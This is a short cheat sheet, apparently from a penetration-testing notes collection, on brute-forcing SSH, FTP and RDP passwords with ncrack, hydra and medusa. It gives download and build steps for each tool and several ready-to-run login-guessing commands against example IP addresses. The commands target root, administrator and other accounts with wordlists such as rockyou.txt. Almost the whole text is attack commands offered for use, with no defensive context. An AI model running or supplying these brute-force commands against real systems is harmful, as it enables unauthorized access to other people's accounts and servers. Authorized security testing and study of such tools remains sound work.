Bruteforce

Brute Forcing Passwords with ncrack, hydra and medusa

ncrack

Install

wget https://nmap.org/ncrack/dist/ncrack-0.5.tar.gz
./configure
make
make install

SSH

ncrack -p 22 --user root -P 500-worst-passwords.txt 10.10.10.10
ncrack -v -p 22 -T 5 --user bob --save ncrack.save -P /usr/share/wordlists/rockyou.txt 10.28.0.254

FTP

ncrack -u test -P 500-worst-passwords.txt -T 5 10.10.10.10 -p 21

RDP

ncrack -u administrator -P 500-worst-passwords.txt -p 3389 10.212.50.21

hydra

Install

wget http://freeworld.thc.org/releases/hydra-6.3-src.tar.gz
./configure
make
make install

SSH

hydra -l root -P 500-worst-passwords.txt 10.10.10.10 ssh

FTP

hydra -l root -P 500-worst-passwords.txt 10.10.10.10 ftp

medusa

Install

wget http://www.foofus.net/jmk/tools/medusa-2.0.tar.gz
./configure
make
make install

SSH

medusa -u root -P 500-worst-passwords.txt -h 10.10.10.10 -M ssh

FTP

medusa -u test -P 500-worst-passwords.txt -h 10.10.10.10 -M ftp

Wordlists

wget http://downloads.skullsecurity.org/passwords/500-worst-passwords.txt